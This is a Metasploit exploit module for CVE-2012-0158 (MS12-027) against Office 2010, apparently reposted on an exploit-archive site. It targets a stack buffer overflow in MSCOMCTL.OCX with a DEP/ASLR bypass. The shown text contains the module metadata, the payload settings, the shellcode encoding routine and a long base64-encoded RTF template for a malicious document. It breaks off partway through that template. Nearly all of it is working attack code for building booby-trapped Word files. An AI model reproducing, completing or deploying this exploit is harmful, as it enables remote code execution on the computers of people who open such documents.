MS12-027 - Office 2010 DEP/ASLR Bypass Exploit | expku-打造中文最大exploit库

##

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# web site for more information on licensing and terms of use.

# http://metasploit.com/

##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = AverageRanking

include Msf::Exploit::FILEFORMAT

def initialize(info = {})

super(update_info(info,

'Name' => 'MS12-027 - Office 2010 DEP/ASLR Bypass Exploit',

'Description' => %q{

This module exploit a stack buffer overflow in MSCOMCTL.OCX.

This module target Office 2010. The DEP/ASLR bypass on

Office 2010 is done with article written by Anonymous. The ROP chain uses

"msgr3en.dll", which will load after about 400 pages got load.

},

'License' => MSF_LICENSE,

'Author' =>

[

'Unknown', # Vulnerability discovery

'Anonymous', # DEP/ASLR bypass

'Mr.XHat' # Metasploit module

],

'References' =>

[

[ 'CVE', '2012-0158' ],

[ 'OSVDB', '81125' ],

[ 'BID', '52911' ],

[ 'MSB', 'MS12-027' ],

[ 'URL', 'http://contagiodump.blogspot.com.es/2012/04/cve2012-0158-south-china-sea-insider.html' ],

[ 'URL',

'http://resources.infosecinstitute.com/loading-msgreen-dll-to-bypass-dep-office-2010-windows-7-double-click-rce-exploit/'

],

[ 'URL', 'http://techmeditation.blogspot.com/2009/05/discovering-metasploit-api-part-one.html' ]

],

'DefaultOptions' =>

{

'EXITFUNC' => 'process',

},

'Payload' =>

{

'Space' => 900,

'BadChars' => "\x00",

'DisableNops' => true # no need

},

'Platform' => 'win',

'Targets' =>

[

# winword.exe v14.0.6024.1000 (SP1)

[ 'Microsoft Office 2010 SP1 on Windows [XP SP3 / 7 SP1] (x64 / x86) English',

{

'Rop' => false

}

]

],

'DisclosureDate' => 'Apr 10 2012',

'DefaultTarget' => 0))

register_options(

[

OptString.new('FILENAME', [ true, 'The file name.', 'msf.doc'])

], self.class)

end

def stream(bytes)

Rex::Text.to_hex(bytes).gsub("\\x", "")

end

def exploit

shellcode = stream(payload.encoded)

encode1 = "e1xydGYxXGFkZWZsYW5nMTAyNVxhbnNpXGFuc2ljcGcxMjUyXHVjMVxhZGVmZjBcZGVmZjBcc3Rz"

encode1 << "aGZkYmNoMFxzdHNoZmxvY2gwXHN0c2hmaGljaDBcc3RzaGZiaTBcZGVmbGFuZzEwMzNcZGVmbGFu"

encode1 << "Z2ZlMTAzM3tcZm9udHRibHtcZjBcZnJvbWFuXGZjaGFyc2V0MFxmcHJxMntcKlxwYW5vc2UgMDIw"

encode1 << "MjA2MDMwNTA0MDUwMjAzMDR9VGltZXMgTmV3IFJvbWFuO317XGYxXGZzd2lzc1xmY2hhcnNldDBc"

encode1 << "ZnBycTJ7XCpccGFub3NlIDAyMGIwNjA0MDIwMjAyMDIwMjA0fUFyaWFsO30NCntcZjJcZm1vZGVy"

encode1 << "blxmY2hhcnNldDBcZnBycTF7XCpccGFub3NlIDAyMDcwMzA5MDIwMjA1MDIwNDA0fUNvdXJpZXIg"

encode1 << "TmV3O317XGYzXGZyb21hblxmY2hhcnNldDJcZnBycTJ7XCpccGFub3NlIDA1MDUwMTAyMDEwNzA2"

encode1 << "MDIwNTA3fVN5bWJvbDt9e1xmNFxmc3dpc3NcZmNoYXJzZXQwXGZwcnEye1wqXHBhbm9zZSAwMjBi"

encode1 << "MDYwNDAyMDIwMjAyMDIwNH1IZWx2ZXRpY2E7fQ0Ke1xmNVxmbW9kZXJuXGZjaGFyc2V0MFxmcHJx"

encode1 << "MXtcKlxwYW5vc2UgMDIwNzA0MDkwMjAyMDUwMjA0MDR9Q291cmllcjt9e1xmNlxmcm9tYW5cZmNo"

encode1 << "YXJzZXQwXGZwcnEye1wqXHBhbm9zZSAwMjAyMDYwMzA0MDUwNTAyMDMwNH1UbXMgUm1uO317XGY3"

encode1 << "XGZzd2lzc1xmY2hhcnNldDBcZnBycTJ7XCpccGFub3NlIDAyMGIwNjA0MDIwMjAyMDMwMjA0fUhl"

encode1 << "bHY7fQ0Ke1xmOFxmcm9tYW5cZmNoYXJzZXQwXGZwcnEye1wqXHBhbm9zZSAwMjA0MDUwMzA2MDUw"

encode1 << "NjAyMDMwNH1OZXcgWW9yazt9e1xmOVxmc3dpc3NcZmNoYXJzZXQwXGZwcnEye1wqXHBhbm9zZSAw"

encode1 << "MDAwMDAwMDAwMDAwMDAwMDAwMH1TeXN0ZW07fXtcZjEwXGZuaWxcZmNoYXJzZXQyXGZwcnEye1wq"

encode1 << "XHBhbm9zZSAwNTAwMDAwMDAwMDAwMDAwMDAwMH1XaW5nZGluZ3M7fQ0Ke1xmMTFcZm1vZGVyblxm"

encode1 << "Y2hhcnNldDEyOFxmcHJxMXtcKlxwYW5vc2UgMDIwMjA2MDkwNDAyMDUwODAzMDR9TVMgTWluY2hv"

encode1 << "e1wqXGZhbHQgXCc4MlwnNmNcJzgyXCc3MiBcJzk2XCdiZVwnOTJcJ2E5fTt9e1xmMTJcZm5pbFxm"

encode1 << "Y2hhcnNldDEyOVxmcHJxMXtcKlxwYW5vc2UgMDIwMzA2MDAwMDAxMDEwMTAxMDF9QmF0YW5ne1wq"

encode1 << "XGZhbHQgXCdiOVwnZDlcJ2M1XCdjMX07fQ0Ke1xmMTNcZm5pbFxmY2hhcnNldDEzNFxmcHJxMntc"

encode1 << "KlxwYW5vc2UgMDIwMTA2MDAwMzAxMDEwMTAxMDF9U2ltU3Vue1wqXGZhbHQgXCdjYlwnY2VcJ2Nj"

encode1 << "XCdlNX07fXtcZjE0XGZuaWxcZmNoYXJzZXQxMzZcZnBycTJ7XCpccGFub3NlIDAyMDIwNTAwMDAw"

encode1 << "MDAwMDAwMDAwfVBNaW5nTGlVe1wqXGZhbHQgXCdiN1wnNzNcJ2IyXCdkM1wnYTlcJ2ZhXCdjNVwn"

encode1 << "ZTl9O30NCntcZjE1XGZtb2Rlcm5cZmNoYXJzZXQxMjhcZnBycTF7XCpccGFub3NlIDAyMGIwNjA5"

encode1 << "MDcwMjA1MDgwMjA0fU1TIEdvdGhpY3tcKlxmYWx0IFwnODJcJzZjXCc4MlwnNzIgXCc4M1wnNTNc"

encode1 << "JzgzXCc1NlwnODNcJzYyXCc4M1wnNGV9O317XGYxNlxmbW9kZXJuXGZjaGFyc2V0MTI5XGZwcnEx"

encode1 << "e1wqXHBhbm9zZSAwMjBiMDYwMDAwMDEwMTAxMDEwMX1Eb3R1bXtcKlxmYWx0IFwnYjVcJ2I4XCdi"

encode1 << "ZlwnZjJ9O30NCntcZjE3XGZtb2Rlcm5cZmNoYXJzZXQxMzRcZnBycTF7XCpccGFub3NlIDAyMDEw"

encode1 << "NjA5MDYwMTAxMDEwMTAxfVNpbUhlaXtcKlxmYWx0IFwnYmFcJ2RhXCdjY1wnZTV9O317XGYxOFxm"

encode1 << "bW9kZXJuXGZjaGFyc2V0MTM2XGZwcnExe1wqXHBhbm9zZSAwMjAyMDUwOTAwMDAwMDAwMDAwMH1N"

encode1 << "aW5nTGlVe1wqXGZhbHQgXCdiMlwnZDNcJ2E5XCdmYVwnYzVcJ2U5fTt9DQp7XGYxOVxmcm9tYW5c"

encode1 << "ZmNoYXJzZXQxMjhcZnBycTF7XCpccGFub3NlIDAyMDIwNjA5MDQwMzA1MDgwMzA1fU1pbmNob3tc"

encode1 << "KlxmYWx0IFwnOTZcJ2JlXCc5MlwnYTl9O317XGYyMFxmcm9tYW5cZmNoYXJzZXQxMjlcZnBycTF7"

encode1 << "XCpccGFub3NlIDAyMGIwNjAwMDAwMTAxMDEwMTAxfUd1bGlte1wqXGZhbHQgXCdiMVwnYmNcJ2I4"

encode1 << "XCdiMn07fQ0Ke1xmMjFcZnJvbWFuXGZjaGFyc2V0MFxmcHJxMntcKlxwYW5vc2UgMDIwNDA2MDMw"

encode1 << "NTA3MDUwMjAzMDN9Q2VudHVyeTt9e1xmMjJcZnJvbWFuXGZjaGFyc2V0MjIyXGZwcnEye1wqXHBh"

encode1 << "bm9zZSAwMjAyMDYwMzA1MDQwNTAyMDMwNH1BbmdzYW5hIE5ldzt9e1xmMjNcZnJvbWFuXGZjaGFy"

encode1 << "c2V0MjIyXGZwcnEye1wqXHBhbm9zZSAwMjBiMDMwNDAyMDIwMjAyMDIwNH1Db3JkaWEgTmV3O30N"

encode1 << "CntcZjI0XGZyb21hblxmY2hhcnNldDFcZnBycTJ7XCpccGFub3NlIDAyMDQwNTAzMDUwMjAzMDMw"

encode1 << "MjAyfU1hbmdhbDt9e1xmMjVcZnJvbWFuXGZjaGFyc2V0MVxmcHJxMntcKlxwYW5vc2UgMDIwYjA2"

encode1 << "MDQwMjAyMDIwMjAyMDR9TGF0aGE7fXtcZjI2XGZyb21hblxmY2hhcnNldDBcZnBycTJ7XCpccGFu"

encode1 << "b3NlIDAxMGEwNTAyMDUwMzA2MDMwMzAzfVN5bGZhZW47fQ0Ke1xmMjdcZnJvbWFuXGZjaGFyc2V0"

encode1 << "MVxmcHJxMntcKlxwYW5vc2UgMDIwYjA1MDIwNDAyMDQwMjAyMDN9VnJpbmRhO317XGYyOFxmcm9t"

encode1 << "YW5cZmNoYXJzZXQxXGZwcnEye1wqXHBhbm9zZSAwMjBiMDUwMjA0MDIwNDAyMDIwM31SYWF2aTt9"

encode1 << "e1xmMjlcZnJvbWFuXGZjaGFyc2V0MVxmcHJxMntcKlxwYW5vc2UgMDIwYjA1MDIwNDAyMDQwMjAy"

encode1 << "MDN9U2hydXRpO30NCntcZjMwXGZyb21hblxmY2hhcnNldDFcZnBycTJ7XCpccGFub3NlIDAwMDAw"

encode1 << "NDAwMDAwMDAwMDAwMDAwfVNlbmRueWE7fXtcZjMxXGZyb21hblxmY2hhcnNldDFcZnBycTJ7XCpc"

encode1 << "cGFub3NlIDAyMGIwNTAyMDQwMjA0MDIwMjAzfUdhdXRhbWk7fXtcZjMyXGZyb21hblxmY2hhcnNl"

encode1 << "dDFcZnBycTJ7XCpccGFub3NlIDAyMGIwNTAyMDQwMjA0MDIwMjAzfVR1bmdhO30NCntcZjMzXGZy"

encode1 << "b21hblxmY2hhcnNldDFcZnBycTJ7XCpccGFub3NlIDAzMDgwNjAwMDAwMDAwMDAwMDAwfUVzdHJh"

encode1 << "bmdlbG8gRWRlc3NhO317XGYzNFxmcm9tYW5cZmNoYXJzZXQwXGZwcnEye1wqXHBhbm9zZSAwMjBi"

encode1 << "MDYwNDAyMDIwMjAyMDIwNH1BcmlhbCBVbmljb2RlIE1TO317XGYzNVxmc3dpc3NcZmNoYXJzZXQw"

encode1 << "XGZwcnEye1wqXHBhbm9zZSAwMjBiMDYwNDAzMDUwNDA0MDIwNH1UYWhvbWE7fQ0Ke1xmMzZcZnJv"

encode1 << "bWFuXGZjaGFyc2V0MjM4XGZwcnEyIFRpbWVzIE5ldyBSb21hbiBDRTt9e1xmMzdcZnJvbWFuXGZj"

encode1 << "aGFyc2V0MjA0XGZwcnEyIFRpbWVzIE5ldyBSb21hbiBDeXI7fXtcZjM5XGZyb21hblxmY2hhcnNl"

encode1 << "dDE2MVxmcHJxMiBUaW1lcyBOZXcgUm9tYW4gR3JlZWs7fXtcZjQwXGZyb21hblxmY2hhcnNldDE2"

encode1 << "MlxmcHJxMiBUaW1lcyBOZXcgUm9tYW4gVHVyO30NCntcZjQxXGZiaWRpIFxmcm9tYW5cZmNoYXJz"

encode1 << "ZXQxNzdcZnBycTIgVGltZXMgTmV3IFJvbWFuIChIZWJyZXcpO317XGY0MlxmYmlkaSBcZnJvbWFu"

encode1 << "XGZjaGFyc2V0MTc4XGZwcnEyIFRpbWVzIE5ldyBSb21hbiAoQXJhYmljKTt9e1xmNDNcZnJvbWFu"

encode1 << "XGZjaGFyc2V0MTg2XGZwcnEyIFRpbWVzIE5ldyBSb21hbiBCYWx0aWM7fXtcZjQ0XGZyb21hblxm"

encode1 << "Y2hhcnNldDE2M1xmcHJxMiBUaW1lcyBOZXcgUm9tYW4gKFZpZXRuYW1lc2UpO30NCntcZjQ2XGZz"

encode1 << "d2lzc1xmY2hhcnNldDIzOFxmcHJxMiBBcmlhbCBDRTt9e1xmNDdcZnN3aXNzXGZjaGFyc2V0MjA0"

encode1 << "XGZwcnEyIEFyaWFsIEN5cjt9e1xmNDlcZnN3aXNzXGZjaGFyc2V0MTYxXGZwcnEyIEFyaWFsIEdy"

encode1 << "ZWVrO317XGY1MFxmc3dpc3NcZmNoYXJzZXQxNjJcZnBycTIgQXJpYWwgVHVyO317XGY1MVxmYmlk"

encode1 << "aSBcZnN3aXNzXGZjaGFyc2V0MTc3XGZwcnEyIEFyaWFsIChIZWJyZXcpO30NCntcZjUyXGZiaWRp"

encode1 << "IFxmc3dpc3NcZmNoYXJzZXQxNzhcZnBycTIgQXJpYWwgKEFyYWJpYyk7fXtcZjUzXGZzd2lzc1xm"

encode1 << "Y2hhcnNldDE4NlxmcHJxMiBBcmlhbCBCYWx0aWM7fXtcZjU0XGZzd2lzc1xmY2hhcnNldDE2M1xm"

encode1 << "cHJxMiBBcmlhbCAoVmlldG5hbWVzZSk7fXtcZjE0OFxmbW9kZXJuXGZjaGFyc2V0MFxmcHJxMSBN"

encode1 << "UyBNaW5jaG8gV2VzdGVybntcKlxmYWx0IFwnODJcJzZjXCc4MlwnNzIgXCc5NlwnYmVcJzkyXCdh"

encode1 << "OX07fQ0Ke1xmMTQ2XGZtb2Rlcm5cZmNoYXJzZXQyMzhcZnBycTEgTVMgTWluY2hvIENFe1wqXGZh"

encode1 << "bHQgXCc4MlwnNmNcJzgyXCc3MiBcJzk2XCdiZVwnOTJcJ2E5fTt9e1xmMTQ3XGZtb2Rlcm5cZmNo"

encode1 << "YXJzZXQyMDRcZnBycTEgTVMgTWluY2hvIEN5cntcKlxmYWx0IFwnODJcJzZjXCc4MlwnNzIgXCc5"

encode1 << "NlwnYmVcJzkyXCdhOX07fQ0Ke1xmMTQ5XGZtb2Rlcm5cZmNoYXJzZXQxNjFcZnBycTEgTVMgTWlu"

encode1 << "Y2hvIEdyZWVre1wqXGZhbHQgXCc4MlwnNmNcJzgyXCc3MiBcJzk2XCdiZVwnOTJcJ2E5fTt9e1xm"

encode1 << "MTUwXGZtb2Rlcm5cZmNoYXJzZXQxNjJcZnBycTEgTVMgTWluY2hvIFR1cntcKlxmYWx0IFwnODJc"

encode1 << "JzZjXCc4MlwnNzIgXCc5NlwnYmVcJzkyXCdhOX07fQ0Ke1xmMTUzXGZtb2Rlcm5cZmNoYXJzZXQx"

encode1 << "ODZcZnBycTEgTVMgTWluY2hvIEJhbHRpY3tcKlxmYWx0IFwnODJcJzZjXCc4MlwnNzIgXCc5Nlwn"

encode1 << "YmVcJzkyXCdhOX07fXtcZjI5N1xmcm9tYW5cZmNoYXJzZXQyMDRcZnBycTIgU3lsZmFlbiBDeXI7"

encode1 << "fXtcZjI5OVxmcm9tYW5cZmNoYXJzZXQxNjFcZnBycTIgU3lsZmFlbiBHcmVlazt9fXtcY29sb3J0"

encode1 << "Ymw7XHJlZDBcZ3JlZW4wXGJsdWUwO1xyZWQwXGdyZWVuMFxibHVlMjU1Ow0KXHJlZDBcZ3JlZW4y"

encode1 << "NTVcYmx1ZTI1NTtccmVkMFxncmVlbjI1NVxibHVlMDtccmVkMjU1XGdyZWVuMFxibHVlMjU1O1xy"

encode1 << "ZWQyNTVcZ3JlZW4wXGJsdWUwO1xyZWQyNTVcZ3JlZW4yNTVcYmx1ZTA7XHJlZDI1NVxncmVlbjI1"

encode1 << "NVxibHVlMjU1O1xyZWQwXGdyZWVuMFxibHVlMTI4O1xyZWQwXGdyZWVuMTI4XGJsdWUxMjg7XHJl"

encode1 << "ZDBcZ3JlZW4xMjhcYmx1ZTA7XHJlZDEyOFxncmVlbjBcYmx1ZTEyODtccmVkMTI4XGdyZWVuMFxi"

encode1 << "bHVlMDsNClxyZWQxMjhcZ3JlZW4xMjhcYmx1ZTA7XHJlZDEyOFxncmVlbjEyOFxibHVlMTI4O1xy"

encode1 << "ZWQxOTJcZ3JlZW4xOTJcYmx1ZTE5Mjt9e1xzdHlsZXNoZWV0e1xxbCBcbGkwXHJpMFx3aWRjdGxw"

encode1 << "YXJcYXNwYWxwaGFcYXNwbnVtXGZhYXV0b1xhZGp1c3RyaWdodFxyaW4wXGxpbjBcaXRhcDAgXHJ0"

encode1 << "bGNoIFxhZjBcYWZzMjRcYWxhbmcxMDI1IFxsdHJjaCBcZnMyNFxsYW5nMTAzM1xsYW5nZmUxMDMz"

encode1 << "XGNncmlkXGxhbmducDEwMzNcbGFuZ2ZlbnAxMDMzIA0KXHNuZXh0MCBOb3JtYWw7fXtcKlxjczEw"

encode1 << "IFxhZGRpdGl2ZSBcc3NlbWloaWRkZW4gRGVmYXVsdCBQYXJhZ3JhcGggRm9udDt9e1wqDQpcdHMx"

encode1 << "MVx0c3Jvd2RcdHJmdHNXaWR0aEIzXHRycGFkZGwxMDhcdHJwYWRkcjEwOFx0cnBhZGRmbDNcdHJw"

encode1 << "YWRkZnQzXHRycGFkZGZiM1x0cnBhZGRmcjNcdHJjYnBhdDFcdHJjZnBhdDFcdHNjZWxsd2lkdGhm"

encode1 << "dHMwXHRzdmVydGFsdFx0c2JyZHJ0XHRzYnJkcmxcdHNicmRyYlx0c2JyZHJyXHRzYnJkcmRnbFx0"

encode1 << "c2JyZHJkZ3JcdHNicmRyaFx0c2JyZHJ2IA0KXHFsIFxsaTBccmkwXHdpZGN0bHBhclxhc3BhbHBo"

encode1 << "YVxhc3BudW1cZmFhdXRvXGFkanVzdHJpZ2h0XHJpbjBcbGluMFxpdGFwMCBccnRsY2ggXGFmMFxh"

encode1 << "ZnMyMCBcbHRyY2ggXGZzMjBcbGFuZzEwMjRcbGFuZ2ZlMTAyNFxjZ3JpZFxsYW5nbnAxMDI0XGxh"

encode1 << "bmdmZW5wMTAyNCBcc25leHQxMSBcc3NlbWloaWRkZW4gTm9ybWFsIFRhYmxlO319e1wqXGxhdGVu"

encode1 << "dHN0eWxlc1xsc2RzdGltYXgxNTZcbHNkbG9ja2VkZGVmMH17XCpccmV2dGJsIHtVbmtub3duO319"

encode1 << "DQp7XCpccnNpZHRibCBccnNpZDM3NjE5MDFccnNpZDYxNjYzODNccnNpZDExMjk4ODU3XHJzaWQx"

encode1 << "NTc0MTkwNlxyc2lkMTYwMDIwNjR9e1wqXGdlbmVyYXRvciBNaWNyb3NvZnQgV29yZCAxMS4wLjU2"

encode1 << "MDQ7fXtcaW5mb3tcYXV0aG9yIE1yLlhIYXR9e1xvcGVyYXRvciBNci5YSGF0fXtcY3JlYXRpbVx5"

encode1 << "cjIwMTNcbW83XGR5NFxocjEzXG1pbjM5fXtccmV2dGltXHlyMjAxM1xtbzdcZHk0XGhyMTNcbWlu"

encode1 << "Mzl9e1x2ZXJzaW9uMn17XGVkbWluczB9DQp7XG5vZnBhZ2VzM317XG5vZndvcmRzMjc0Nn17XG5v"

encode1 << "ZmNoYXJzMTU2NTR9e1xub2ZjaGFyc3dzMTgzNjR9e1x2ZXJuMjQ2ODl9fVxsdHJzZWN0IFx3aWRv"

encode1 << "d2N0cmxcZnRuYmpcYWVuZGRvY1xub3hsYXR0b3llblxleHBzaHJ0blxub3VsdHJsc3BjXGRudGJs"

encode1 << "bnNiZGJcbm9zcGFjZWZvcnVsXGZvcm1zaGFkZVxob3J6ZG9jXGRnbWFyZ2luXGRnaHNwYWNlMTgw"

encode1 << "XGRndnNwYWNlMTgwXGRnaG9yaWdpbjE4MDBcZGd2b3JpZ2luMTQ0MFxkZ2hzaG93MQ0KXGRndnNo"

encode1 << "b3cxXGpleHBhbmRcdmlld2tpbmQxXHZpZXdzY2FsZTEyMFxwZ2JyZHJoZWFkXHBnYnJkcmZvb3Rc"

encode1 << "c3BseXR3bmluZVxmdG5seXR3bmluZVxodG1hdXRzcFxub2xuaHRhZGp0YmxcdXNlbHRiYWxuXGFs"

encode1 << "bnRibGluZFxseXRjYWxjdGJsd2RcbHl0dGJscnRnclxsbmJya3J1bGVcbm9icmt3cnB0Ymxcc25h"

encode1 << "cHRvZ3JpZGluY2VsbFxhbGxvd2ZpZWxkZW5kc2VsXHdycHB1bmN0DQpcYXNpYW5icmtydWxlXHJz"

encode1 << "aWRyb290MTU3NDE5MDZcbmV3dGJsc3R5cnVsc1xub2dyb3dhdXRvZml0IFxmZXQwXGx0cnBhciBc"

encode1 << "c2VjdGQgXGx0cnNlY3RcbGluZXgwXGVuZG5oZXJlXHNlY3RsaW5lZ3JpZDM2MFxzZWN0ZGVmYXVs"

encode1 << "dGNsXHNmdG5iaiB7XCpccG5zZWNsdmwxXHBudWNybVxwbnFjXHBuc3RhcnQxXHBuaW5kZW50NzIw"

encode1 << "XHBuaGFuZyB7XHBudHh0YSAufX17XCpccG5zZWNsdmwyDQpccG51Y2x0clxwbnFjXHBuc3RhcnQx"

encode1 << "XHBuaW5kZW50NzIwXHBuaGFuZyB7XHBudHh0YSAufX17XCpccG5zZWNsdmwzXHBuZGVjXHBucWNc"

encode1 << "cG5zdGFydDFccG5pbmRlbnQ3MjBccG5oYW5nIHtccG50eHRhIC59fXtcKlxwbnNlY2x2bDRccG5s"

encode1 << "Y2x0clxwbnFjXHBuc3RhcnQxXHBuaW5kZW50NzIwXHBuaGFuZyB7XHBudHh0YSApfX17XCpccG5z"

encode1 << "ZWNsdmw1XHBuZGVjXHBucWNccG5zdGFydDFccG5pbmRlbnQ3MjBccG5oYW5nIHtccG50eHRiICh9"

encode1 << "DQp7XHBudHh0YSApfX17XCpccG5zZWNsdmw2XHBubGNsdHJccG5xY1xwbnN0YXJ0MVxwbmluZGVu"

encode1 << "dDcyMFxwbmhhbmcge1xwbnR4dGIgKH17XHBudHh0YSApfX17XCpccG5zZWNsdmw3XHBubGNybVxw"

encode1 << "bnFjXHBuc3RhcnQxXHBuaW5kZW50NzIwXHBuaGFuZyB7XHBudHh0YiAofXtccG50eHRhICl9fXtc"

encode1 << "KlxwbnNlY2x2bDhccG5sY2x0clxwbnFjXHBuc3RhcnQxXHBuaW5kZW50NzIwXHBuaGFuZyB7XHBu"

encode1 << "dHh0YiAofXtccG50eHRhICl9fQ0Ke1wqXHBuc2VjbHZsOVxwbmxjcm1ccG5xY1xwbnN0YXJ0MVxw"

encode1 << "bmluZGVudDcyMFxwbmhhbmcge1xwbnR4dGIgKH17XHBudHh0YSApfX1ccGFyZFxwbGFpbiBcbHRy"

encode1 << "cGFyXHFsIFxsaTBccmkwXHdpZGN0bHBhclxhc3BhbHBoYVxhc3BudW1cZmFhdXRvXGFkanVzdHJp"

encode1 << "Z2h0XHJpbjBcbGluMFxpdGFwMFxwYXJhcnNpZDE1NzQxOTA2IFxydGxjaCBcYWYwXGFmczI0XGFs"

encode1 << "YW5nMTAyNSBcbHRyY2ggDQpcZnMyNFxsYW5nMTAzM1xsYW5nZmUxMDMzXGNncmlkXGxhbmducDEw"

encode1 << "MzNcbGFuZ2ZlbnAxMDMzIHtccnRsY2ggXGFmMCBcbHRyY2ggXGluc3JzaWQxNTc0MTkwNiANClxw"

encode1 << "YXIgDQpccGFyIA0KXHBhciANClxwYXIgDQpccGFyIA0KXHBhciANClxwYXIgDQpccGFyIA0KXHBh"

encode1 << "ciANClxwYXIgDQpccGFyIA0KXHBhciANClxwYXIgDQpccGFyIA0KXHBhciANClxwYXIgDQpccGFy"

encode1 << "IA0KXHBhciANClxwYXIgDQpccGFyIA0KXHBhciANClxwYXIgDQpccGFyIA0KXHBhciANClxwYXIg"

encode1 << "DQpccGFyIA0KXHBhciANClxwYXIgDQpccGFyIA0KXHBhciANClxwYXIgDQpccGFyIA0KXHBhciAN"

encode1 << "ClxwYXIgDQpccGFyIA0KXHBhciANClxwYXIgDQpccGFyIA0KXHBhciANClxwYXIgDQpccGFyIA0K"

encode1 << "XHBhciANClxwYXIgDQpccGFyIA0KXHBhciANClxwYXIgDQpccGFyIA0KXHBhciANClxwYXIgDQpc"

encode1 << "cGFyIA0KXHBhciANClxwYXIgDQpccGFyIA0KXHBhciANClxwYXIgDQpccGFyIA0KXHBhciANClxw"